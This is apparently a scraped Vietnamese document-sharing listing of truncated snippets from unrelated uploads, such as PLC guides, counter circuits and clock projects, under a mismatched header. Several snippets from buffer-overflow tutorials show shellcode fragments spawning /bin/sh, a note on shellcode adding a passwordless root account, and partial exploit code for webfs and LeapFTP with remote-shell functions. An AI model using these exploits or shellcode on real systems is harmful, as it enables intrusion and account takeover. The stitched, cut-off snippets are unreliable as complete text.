friday january 14th 2011 unit7 let s talk
Giao trinh PLC potx
Ngày tải lên :
10/08/2014, 17:21
... lệnh so s nh s nguyên 32 bits Nhóm lệnh tác động vào ghi trạng thi sau: 2.1 Lệnh so s nh s nguyên 32 bits Cú pháp: = = D Lệnh toán hạng Tác dụng: Lệnh thực phép so s nh hai s nguyên 32 bits nằm ... lệnh so s nh s thực 32 bits Nhóm lệnh tác động vào ghi trạng thi sau: 3.1 Lệnh so s nh s thực 32 bits Cú pháp: = = R Lệnh toán hạng Tác dụng: Lệnh thực phép so s nh hai s thực 32 bits nằm ... Nhóm lệnh so s nh s nguyên 16 bits Nhóm lệnh tác động vào ghi trạng thái sau: 1.1 Lệnh so s nh s nguyên 16 bits Cú pháp: = = I Lệnh toán hạng Tác dụng: Lệnh thực hiệnphép so s nh hai s nguyên...
- 56
- 2.3K
- 38
Tìm hiểu về tràn bộ đệm
Ngày tải lên :
23/08/2012, 16:28
... nhớ < - FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh stack đáy stack S = shellcode A = trỏ đến shellcode F = data khác (1) Lắp tràn đệm(đến return addr) địa buffer (2) Đặt shellcode vào ... < - FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh stack đáy stack N = NOP S = shellcode A = trỏ đến shellcode F = data khác Viết test thử shellcode Shellcode đặt stack nên dùng địa tuyệt ... "\x80\xe8\xdc\xff\xff\xff/bin/sh"; OpenBSD OpenBSD shellcode that adds an unpassworded root login "w00w00" to /etc/passwd Courtesy of w00w00 (Changed from /tmp/passwd to /etc/passwd give kiddies a chance ;) char shell[]=...
- 27
- 2K
- 3
Tài liệu tìm hiểu về tràn bộ đệm
Ngày tải lên :
24/08/2012, 08:45
... nhớ < - FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh stack đáy stack S = shellcode A = trỏ đến shellcode F = data khác (1) Lắp tràn đệm(đến return addr) địa buffer (2) Đặt shellcode vào ... < - FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh stack đáy stack N = NOP S = shellcode A = trỏ đến shellcode F = data khác Viết test thử shellcode Shellcode đặt stack nên dùng địa tuyệt ... "\x80\xe8\xdc\xff\xff\xff/bin/sh"; OpenBSD OpenBSD shellcode that adds an unpassworded root login "w00w00" to /etc/passwd Courtesy of w00w00 (Changed from /tmp/passwd to /etc/passwd give kiddies a chance ;) char shell[]=...
- 27
- 1.6K
- 5
Tài liệu về tràn bộ đệm
Ngày tải lên :
01/10/2012, 15:35
... nhớ < - FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh stack đáy stack S = shellcode A = trỏ đến shellcode F = data khác (1) Lắp tràn đệm(đến return addr) địa buffer (2) Đặt shellcode vào ... < - FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh stack đáy stack N = NOP S = shellcode A = trỏ đến shellcode F = data khác Viết test thử shellcode Shellcode đặt stack nên dùng địa tuyệt ... "\x80\xe8\xdc\xff\xff\xff/bin/sh"; OpenBSD OpenBSD shellcode that adds an unpassworded root login "w00w00" to /etc/passwd Courtesy of w00w00 (Changed from /tmp/passwd to /etc/passwd give kiddies a chance ;) char shell[]=...
- 27
- 689
- 0
Thiết kế bộ đếm không đồng bộ mod 10
Ngày tải lên :
15/10/2012, 10:27
... hình trạng thái S0 0000 S1 CK → 0001 CK → S2 0010 CK → S3 0011 CK → S4 0100 ↑Ck ↓ Ck S9 1001 S8 ← CK 1000 S7 ← CK 0111 ← CK S6 0110 ← CK S5 0101 Xác định s FF - Vì s đếm hệ thập ... Preset (SD) Clear (CD) để thiết lập giá trị đầu Q có xung đầu vào tích cực Chi tiết thông tin IC 74ls76 xem thêm phần Datasheet 74LS76 - S đồ bố trí chân IC s đồ logic mạch tổ hợp: 7476 + s ... 13: nối Mass + Hình dạng thực tế IC 74ls76 + Bảng trạng thái: [Year] 2.3: Khối giải mã Led - Mạch giải mã s dụng IC 74LS47 - S đồ bố trí chân IC s đồ logic mạch tổ hợp [Year] Các s thập phân...
- 14
- 16.1K
- 54
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2)
Ngày tải lên :
02/11/2012, 14:18
... chương trình sau in giá trị trỏ stack SP: /* sp.c */ unsigned long get_sp(void) { asm ("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } [SkZ0@gamma bof]$ gcc -o sp sp.c [SkZ0@gamma ... vừa viết [SkZ0@gamma bof]$ /exploit1 /vuln1 600 Using address: 0xbffffa1c ( ) bash$ Thử với giá trị độ dời: [SkZ0@gamma bof]$ /exploit1 /vuln1 600 100 Using address: 0xbffff9a8 ( ) [SkZ0@gamma ... khảo Smashing The Stack For Fun And Profit - Aleph1 Avoiding security holes when developing an application - Frédéric Raynal, Christophe Blaess, Christophe Grenier BUFFER OVERFLOWS DEMYSTIFIED...
- 10
- 643
- 9
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM
Ngày tải lên :
02/11/2012, 14:18
... testsc: [SkZ0@gamma bof]$ gcc testsc.c -o testsc [SkZ0@gamma bof]$ /testsc bash$ exit [SkZ0@gamma bof]$ Ta thêm vào hàm để mở rộng tính shellcode, thực thao tác cần thiết khác trước gọi "/bin/sh" ... shellcode_asm.c */ int main() { asm(" /* push giá trị null kết thúc /bin/sh vào stack */ xorl %eax,%eax pushl %eax /* push chuỗi /bin/sh vào stack */ pushl $0x68732f2f /* chuỗi //sh, độ dài word */ pushl ... of assembler dump (gdb) disassemble toto //hàm toto Dump of assembler code for function toto: 0x80483b4 : 0x80483b5 : 0x80483b7 : push %ebp //bước khởi đầu - prolog mov %esp,%ebp sub $0xc,%esp...
- 29
- 1.8K
- 3
Làm tràn bộ đệm bằng 1 byte.
Ngày tải lên :
02/11/2012, 14:18
... NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb exec=fake_exp symbols=suid (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint ... thông tin stack gdb vào lúc tràn đệm xảy ipdev:~/tests$ gdb /suid (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp ... đổi %esp) Hãy xem nội dung stack có tràn đệm xảy ra: saved_eip saved_ebp (altered by byte) &shellcode \ shellcode | char buffer nops / int i Ở đây, muốn %esp trỏ đến &shellcode để địa shellcode...
- 11
- 533
- 1
Lỗi tràn bộ đệm của Server Sambar
Ngày tải lên :
02/11/2012, 14:18
... [INPUT TYPE=PASSWORD NAME="RCpwd" VALUE="đặt text bạn đây, nhớ 100000 ký tự"] BƯỚC 7: nhấn submit server ! GIẢI PHÁP: - Thay đổi đường dẫn thư mục file liên quan đến user server sambar! - Những ... user server sambar! - Những người phát triển server sambar thay đổi code va phát triển module để kiểm tra việc lại file user đệm form transfer chế độ POST hay GET ...
- 2
- 368
- 0
Lỗi tràn bộ đệm file dài trong webfs
Ngày tải lên :
02/11/2012, 14:18
... } unsigned short sock_connect(char *hostname, unsigned short port){ int sock; struct hostent *t; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s. sin_family=AF_INET; s. sin_port=htons(port); ... #1 Set socket.\n"); sd=sock_connect(hostname,port); fprintf(stdout," [1] #1 Send codes.\n"); write(sd,sendbuf,3150); close(sd); sleep(10); fprintf(stdout," [1] #3 Get shell.\n"); getshell(hostname,26112); ... printf("[*] successfully connected: %s: %d.\n",hostname,port); return(sock); } void getshell(char *hostname,unsigned short port){ int sock,r; fd_set fds; char buf[4096+1]; struct hostent *he; struct sockaddr_in...
- 8
- 455
- 0
Tràn bộ đệm ở LeapFTP, LeapFTP 2.7.3.600.
Ngày tải lên :
02/11/2012, 14:19
... '\x04'; WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData); SOCKET listen_Sock = socket(AF_INET,SOCK_STREAM,0); SOCKADDR_IN addr_Sock; addr_Sock.sin_family = AF_INET; addr_Sock.sin_addr .s_ addr ... addr_Sock.sin_port = htons(atoi(argv[1])); printf("Awaiting for connections \n"); if(bind(listen_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return; if(listen(listen_Sock, 1))return; SOCKET ... "PASS", 4)==0){ sprintf(buffer, " %s\ r\n", "230 User logged in."); send(victim, buffer, strlen(buffer), NULL); } else if(strncmp(buffer, "SYST", 4)==0){ sprintf(buffer, " %s\ r\n", "215 Windows_NT...
- 4
- 368
- 0
Nghiên cứu thực nghiệm bộ đệm cho video
Ngày tải lên :
14/03/2013, 13:43
... Video Delivery and Caching System Using Video Summarization - Sung-Ju Lee, Wei-Ying Ma, and Bo Shen [7] Socket: http://www.sockets.com [8] C & C++: http://www.cplusplus.com [9] A van Hoof (2009), ... ĐỀ 33 GVHD: TS Bùi Hoài Thắng TÊN ĐỀ TÀI - SVTH: Đặng Xuân Hiếu Các thread (ServerThread, RequestProcess) tạo quản lý danh s ch liên kết Server, Server nắm quyền tạo mới, hủy danh s ch - Tất thread ... client Sau gọi hàm hủy thread 1.1.3 Quản lý đa luồng server - Tập tin thực hiện: ServerThread.java, Server.java, RequestProcess.java Tập tin liên kết: Request.java, MoviePakage.java, FileStreamHandle.java...
- 43
- 343
- 0
Mạng IP và vấn đề quản lý bộ đệm
Ngày tải lên :
13/04/2013, 09:46
... of Service Reverse Address Resolution Chất lượng dịch vụ Giao thức phân giải địa ngược RED RSVP TCP Protocol Random Early Detection Resource Resevation Protocol Transmission Control Phát s m ... VÀ TỪ VIẾT TẮT ARP ATM CBR DiffServ DR ER EWMA Address Resolution Protocol Asynchronous Transfer Mode Constant Bit-rate Differentiated Service Decay Rate Excess Rate Exponentially Weighted Giao ... Poisson xấp xỉ hình học GMDP Poisson Process Generally Modulated Quá trình định điều chế chung IP LAN LP MMDP Deterministic Process Internet Protocol Local Area Network Loss Probability Markov Modulated...
- 6
- 347
- 1
Ứng dụng IC8051 để hiển thị bộ đếm GIỜ - PHÚT – GIÂY – THỨ – NGÀY – THÁNG - NĂM trên LCD 16 -2.
Ngày tải lên :
24/04/2013, 08:44
... TEMER1 CPU BUS CONTROL SERIAL PORT I/O PORT OSCILATOR DHCN TPHCM EA\ RST ALE\ - - SVTHP NGUYEN NGOC SANG : P P P PSEN\ Address\Data TXD RXD ĐỒ ÁN ĐƠNG HỒ S ́ TRÊN LCD 16X2 Hình 1.1: S đồ khối ... NĂM S BIẾN ĐẾM 1=2 S BIẾN ĐẾM 1=3 S BIẾN ĐẾM 1=4 S BIẾN ĐẾM 1=5 S BIẾN ĐẾM 1=6 S BIẾN ĐẾM 1=7 S KẾT THÚC 5.10 CHƯƠNG TRÌNH GIẢM BẮT ĐẦU DHCN TPHCM - 35 - SVTH : NGUYEN NGOC SANG ĐỒ ÁN ĐƠNG HỒ S ́ ... (Reset) tự động reset cấp nguồn reset tay ta cần cách nhấn phím reset Chân 30 (ALE) nối đến chân 14 (AS) IC DS12C887 4.2 S ĐỒ MẠCH GIAO TIẾP GIỮA VI XỬ LÝ VÀ IC DS12C887 DHCN TPHCM - 22 - SVTH...
- 47
- 1.8K
- 11
THÁO LẮP VÀ BẢO DƯỠNG MÁY NÉN BUNGARY, BỘ ĐỆM KÍN, THANH TRUYỀN, CỤM VAN HÚT,TRỤC KHỦYU
Ngày tải lên :
24/04/2013, 12:03
... cứng sec măng nhỏ độ cứng xylanh Bề dày sec măng phải nhỏ khe lắp sec măng pittong tính phần trăm mm sec măng phải lắp lệch góc120 để đảm bảo độ kín tốt Hình 113: Secmăng khí + Secmang dầu: Sec ... Nghiệp GVHD: Th .S Nguyễn Thị Bích Ngọc b Kiểm tra đánh giá: Nhiệm vụ học viên: + Tiến hành đo đường kính secmang + So s nh đường kính secmang với đường kính bơm dầu + Kiểm tra độ đàn hồi secmang 3.Cụm ... để đóng ắc pittong sau lấy pittong tay biên rời Piston phận quan trọng máy nén có độ bóng cao Do tháo piston ta phải để piston vải s ,và lắp vào phải đảm bảo khơng lắp lộn, piston phải lắp xilanh...
- 59
- 1.7K
- 3
Ứng dụng IC8051 để hiển thị bộ đếm GIỜ - PHÚT – GIÂY trên sáu LED matrix
Ngày tải lên :
26/04/2013, 17:20
... tất SFR vùng 128 byte cao nhớ s liệu (xem hình 2), SFR có tên gọi địa riêng, s SFR có định địa cho bít Khi bật nguồn RESET, tất SFR nạp giá trị đầu, sau chương trình cần nạp lại giá trị cho SFR ... điều khiển MCS-51 Có thể viết ngôn ngữ Assembler ngôn ngữ bậc cao khác C, Basic, Forth Tập lệnh Assembler họ MCS-51 có 83 lệnh, chia thành nhóm lệnh s học, lệnh logic, lệnh chuyển s liệu, lệnh ... bus nội gồm bus liệu bít, bus địa tín hiệu điều khiển khác Cấu trúc cho phép coi MCS-51 máy tính đơn chíp bít 1.1.2 S đồ chức chân S đồ chân vỏ vi mạch MCS-51 hình dướ chức chân sau: - Các chân...
- 53
- 1.1K
- 2
Lenh cho dong ho dem lui
Ngày tải lên :
14/06/2013, 01:25
... _root.bar._visible = false; var input0 = 0; var clic = 0; timeding.restrict = "0-9"; timeding.maxChars = 2; var sound_end = new Sound(); sound_end.attachSound("tada"); var sound_ding = new Sound(); sound_ding.attachSound("ding"); ... end else if _root.bar._visible = true; if (min != || sec != 0) { timeding.selectable = false; ID = setInterval(down, 1000); this.enabled = false; } // end if }; _root.pause_btn.onRelease = function ... sound_ding.attachSound("ding"); timeout = ""; _root.ok_btn.onRelease = function () { = minu; sec = seco; time = tmding; timeout = ""; if (clic == 0) { input = 60 * + sec * 1; input0 = input; ++clic; } else...
- 3
- 543
- 0
Làm đồng hồ đếm lùi
Ngày tải lên :
14/06/2013, 01:25
... _root.bar._visible = false; var input0 = 0; var clic = 0; timeding.restrict = "0-9"; timeding.maxChars = 2; var sound_end = new Sound(); sound_end.attachSound("tada"); var sound_ding = new Sound(); sound_ding.attachSound("ding"); ... end else if _root.bar._visible = true; if (min != || sec != 0) { timeding.selectable = false; ID = setInterval(down, 1000); this.enabled = false; } // end if }; _root.pause_btn.onRelease = function ... sound_ding.attachSound("ding"); timeout = ""; _root.ok_btn.onRelease = function () { = minu; sec = seco; time = tmding; timeout = ""; if (clic == 0) { input = 60 * + sec * 1; input0 = input; ++clic; } else...
- 3
- 922
- 8
Điên Tử Số: THIẾT KẾ BỘ ĐẾM 999 SẢN PHẨM DUNG IC 74LS90 VÀ 4511
Ngày tải lên :
29/06/2013, 01:26
... TÍN HIỆU S đồ khối có dạng sau : 5v R2 R1 74LS04 U1 LED1 U2 T San Pham Băng truyền đặt vào s đồ tức đặt vào đèn LED Tranzitor quang Đèn LED có hướng chiếu s ng vuông góc với cửa hứng s ng Tranzitor ... nhận s ng từ LED dẫn đến T mở.khi T mở điện áp cực C T chuyển qua T mát U1 = 0.sau qua IC 74LS04 ta có U2 ≠ U2 nhận mức logic “1” đưa vào đếm.Bộ đếm trạng thái chờ đếm + Khi có s n phẩm s n phẩm ... chuyền s n phẩm U1 nhận mức logic “0” U2 nhận mức logic “1”.Còn có s n phẩm U1 nhận mức logic “1” U2 nhận mức logic “0” B/ BỘ ĐẾM 1/ Yêu Cầu Bộ đếm - Đếm 999 s n phẩm.sau đếm hết 999 s n phẩm...
- 9
- 1.8K
- 19